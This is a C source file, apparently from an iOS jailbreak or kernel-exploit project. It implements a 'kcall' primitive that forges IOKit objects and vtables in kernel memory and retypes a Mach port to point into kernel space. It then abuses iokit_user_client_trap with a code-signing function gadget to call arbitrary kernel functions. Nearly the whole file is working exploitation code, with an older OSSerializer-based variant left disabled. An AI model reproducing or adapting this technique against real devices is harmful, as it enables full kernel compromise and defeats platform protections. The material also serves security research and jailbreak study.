kcall.c 8.8 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <unistd.h>
  5. #include <mach/mach.h>
  6. #include "kcall.h"
  7. #include "kmem.h"
  8. #include "find_port.h"
  9. #include "kutils.h"
  10. #include "symbols.h"
  11. #include "early_kalloc.h"
  12. extern uint64_t
  13. iokit_user_client_trap(
  14. mach_port_t connect,
  15. unsigned int index,
  16. uintptr_t p1,
  17. uintptr_t p2,
  18. uintptr_t p3,
  19. uintptr_t p4,
  20. uintptr_t p5,
  21. uintptr_t p6 );
  22. #if 0
  23. // OSSerializer::Serialize method
  24. // lets you pass two uint64_t arguments
  25. // no return value
  26. // a simple IOKit mig method
  27. extern void IOIteratorReset(mach_port_t port);
  28. struct fake_iokit_obj {
  29. uint64_t vtable;
  30. uint64_t refcount; // vtable +0x00
  31. uint64_t arg0; // vtable +0x08
  32. uint64_t arg1; // vtable +0x10
  33. uint64_t fptr; // vtable +0x18
  34. uint64_t retain; // vtable +0x20
  35. uint64_t release; // vtable +0x28
  36. uint64_t ign; // vtable +0x30
  37. uint64_t get_meta_class; // vtable +0x38
  38. };
  39. // call fptr in the context of the current thread passing arg0 and arg1
  40. // uses the serializer gadget
  41. void kcall(uint64_t fptr, uint64_t arg0, uint64_t arg1) {
  42. // allocate some memory to hold a fake iokit object:
  43. uint64_t obj_kaddr = kmem_alloc(sizeof(struct fake_iokit_obj)+0x800);
  44. // fill in the fields:
  45. wk64_electra(obj_kaddr+offsetof(struct fake_iokit_obj, vtable), obj_kaddr+0x08); // point this to the next field
  46. wk64_electra(obj_kaddr+offsetof(struct fake_iokit_obj, refcount), 0x2017);
  47. wk64_electra(obj_kaddr+offsetof(struct fake_iokit_obj, arg0), arg0);
  48. wk64_electra(obj_kaddr+offsetof(struct fake_iokit_obj, arg1), arg1);
  49. wk64_electra(obj_kaddr+offsetof(struct fake_iokit_obj, fptr), fptr);
  50. wk64_electra(obj_kaddr+offsetof(struct fake_iokit_obj, retain), ksym(KSYMBOL_RET));
  51. wk64_electra(obj_kaddr+offsetof(struct fake_iokit_obj, release), ksym(KSYMBOL_OSSERIALIZER_SERIALIZE));
  52. wk64_electra(obj_kaddr+offsetof(struct fake_iokit_obj, ign), 0);
  53. wk64_electra(obj_kaddr+offsetof(struct fake_iokit_obj, get_meta_class), ksym(KSYMBOL_OSARRAY_GET_META_CLASS));
  54. for (int i = 1; i < 0xff; i++) {
  55. wk64_electra(obj_kaddr+offsetof(struct fake_iokit_obj, get_meta_class) + (i*8), 0x1010101010101000+(i*4));
  56. }
  57. // allocate a port
  58. mach_port_t port = MACH_PORT_NULL;
  59. kern_return_t err;
  60. err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
  61. if (err != KERN_SUCCESS) {
  62. printf("failed to allocate port\n");
  63. return;
  64. }
  65. // get a send right
  66. mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
  67. // locate the port
  68. uint64_t port_addr = find_port_address_electra(port, MACH_MSG_TYPE_COPY_SEND);
  69. // change the type of the port
  70. #define IKOT_IOKIT_OBJECT 30
  71. #define IO_ACTIVE 0x80000000
  72. wk32_electra(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS), IO_ACTIVE|IKOT_IOKIT_OBJECT);
  73. // cache the current space:
  74. uint64_t original_space = rk64_electra(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER));
  75. // change the space of the port
  76. wk64_electra(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER), ipc_space_kernel());
  77. // set the kobject
  78. wk64_electra(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), obj_kaddr);
  79. // call an iokit method
  80. IOIteratorReset(port);
  81. // clear the kobject
  82. wk64_electra(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), 0);
  83. // reset the space
  84. wk64_electra(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER), original_space);
  85. // reset the type
  86. #define IKOT_NONE 0
  87. wk32_electra(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS), IO_ACTIVE|IKOT_NONE);
  88. // release the port
  89. mach_port_destroy(mach_task_self(), port);
  90. // free the fake object
  91. kmem_free(obj_kaddr, sizeof(struct fake_iokit_obj)+0x800);
  92. }
  93. void test_kcall() {
  94. uint64_t test_buf = kmem_alloc(0x20);
  95. wk64_electra(test_buf, 0x4141414141414141);
  96. wk64_electra(test_buf+8, 0);
  97. kcall(ksym(KSYMBOL_UUID_COPY), test_buf+8, test_buf);
  98. uint64_t read_val = rk64_electra(test_buf+8);
  99. printf("read_val: %llx\n", read_val);
  100. kmem_free(test_buf, 0x20);
  101. }
  102. #endif
  103. /*
  104. __TEXT_EXEC:__text:FFFFFFF0073EB130 _csblob_get_cdhash ; DATA XREF: com.apple.driver.AppleMobileFileIntegrity:__got:AppleMobileFileIntegrity_GOT__csblob_get_cdhasho
  105. __TEXT_EXEC:__text:FFFFFFF0073EB130 ; com.apple.security.sandbox:__got:sandbox_GOT__csblob_get_cdhasho
  106. __TEXT_EXEC:__text:FFFFFFF0073EB130 ADD X0, X0, #0x40
  107. __TEXT_EXEC:__text:FFFFFFF0073EB134 RET
  108. */
  109. mach_port_t arbitrary_call_port = MACH_PORT_NULL;
  110. uint64_t obj_kaddr = 0;
  111. // the iokit_user_client_trap method.
  112. // this lets you pass up to 7 uint64_t arguments
  113. // the return value will be truncated to 32-bits
  114. // see arm_set_mach_syscall_ret for why:
  115. // static void
  116. // arm_set_mach_syscall_ret(struct arm_saved_state *state, int retval)
  117. // {
  118. // if (is_saved_state32(state)) {
  119. // saved_state32(state)->r[0] = retval;
  120. // } else {
  121. // saved_state64(state)->x[0] = retval;
  122. // }
  123. // }
  124. // that compiles to:
  125. // STR W20, [X19,#8] <-- 32-bit store
  126. uint64_t kcall(uint64_t fptr, uint32_t argc, ...) {
  127. uint64_t args[7] = {0};
  128. va_list ap;
  129. va_start(ap, argc);
  130. if (argc > 7) {
  131. printf("too many arguments to kcall\n");
  132. return 0;
  133. }
  134. for (int i = 0; i < argc; i++){
  135. args[i] = va_arg(ap, uint64_t);
  136. }
  137. va_end(ap);
  138. if (arbitrary_call_port == MACH_PORT_NULL) {
  139. // build the object:
  140. // allocate some memory to hold a fake iokit object:
  141. obj_kaddr = early_kalloc(0x1000);
  142. printf("kcall object allocated via early_kalloc at %llx\n", obj_kaddr);
  143. // fill in the fields:
  144. wk64_electra(obj_kaddr + 0, obj_kaddr+0x800); // vtable pointer
  145. // IOExternalTrap
  146. wk64_electra(obj_kaddr + 0x50, 0); // the function pointer is actually a pointer-to-member-method, so needs a 0 here too
  147. // see this old bug where I discuss pointer-to-member-methods:
  148. // https://bugs.chromium.org/p/project-zero/issues/detail?id=20
  149. wk32_electra(obj_kaddr + 0x9c, 0x1234); // __ipc
  150. // vtable:
  151. wk64_electra(obj_kaddr + 0x800 + 0x20, ksym(KSYMBOL_RET)); // vtable::retain
  152. wk64_electra(obj_kaddr + 0x800 + 0x28, ksym(KSYMBOL_RET)); // vtable::release
  153. wk64_electra(obj_kaddr + 0x800 + 0x38, ksym(KSYMBOL_IOUSERCLIENT_GET_META_CLASS)); // vtable::getMetaClass
  154. wk64_electra(obj_kaddr + 0x800 + 0x5b8, ksym(KSYMBOL_CSBLOB_GET_CD_HASH)); // vtable::getExternalTrapForIndex
  155. wk64_electra(obj_kaddr + 0x800 + 0x5c0, ksym(KSYMBOL_IOUSERCLIENT_GET_TARGET_AND_TRAP_FOR_INDEX));
  156. // allocate a port
  157. kern_return_t err;
  158. err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &arbitrary_call_port);
  159. if (err != KERN_SUCCESS) {
  160. printf("failed to allocate port\n");
  161. return 0;
  162. }
  163. // get a send right
  164. mach_port_insert_right(mach_task_self(), arbitrary_call_port, arbitrary_call_port, MACH_MSG_TYPE_MAKE_SEND);
  165. // locate the port
  166. uint64_t port_addr = find_port_address_electra(arbitrary_call_port, MACH_MSG_TYPE_COPY_SEND);
  167. // change the type of the port
  168. #define IKOT_IOKIT_CONNECT 29
  169. #define IO_ACTIVE 0x80000000
  170. wk32_electra(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS), IO_ACTIVE|IKOT_IOKIT_CONNECT);
  171. // cache the current space:
  172. //uint64_t original_space = rk64_electra(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER));
  173. // change the space of the port
  174. wk64_electra(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER), ipc_space_kernel());
  175. // set the kobject
  176. wk64_electra(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), obj_kaddr);
  177. }
  178. // put arg0 and the function pointer in the right place
  179. wk64_electra(obj_kaddr + 0x40, args[0]);
  180. wk64_electra(obj_kaddr + 0x48, fptr);
  181. // call the external trap:
  182. uint64_t return_val = iokit_user_client_trap(arbitrary_call_port, 0,
  183. args[1],
  184. args[2],
  185. args[3],
  186. args[4],
  187. args[5],
  188. args[6]);
  189. printf("return val %llx\n", return_val);
  190. #if 0
  191. // clear the kobject
  192. wk64_electra(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), 0);
  193. // reset the space
  194. wk64_electra(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER), original_space);
  195. // reset the type
  196. #define IKOT_NONE 0
  197. wk32_electra(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS), IO_ACTIVE|IKOT_NONE);
  198. // release the port
  199. mach_port_destroy(mach_task_self(), port);
  200. #endif
  201. return return_val;
  202. }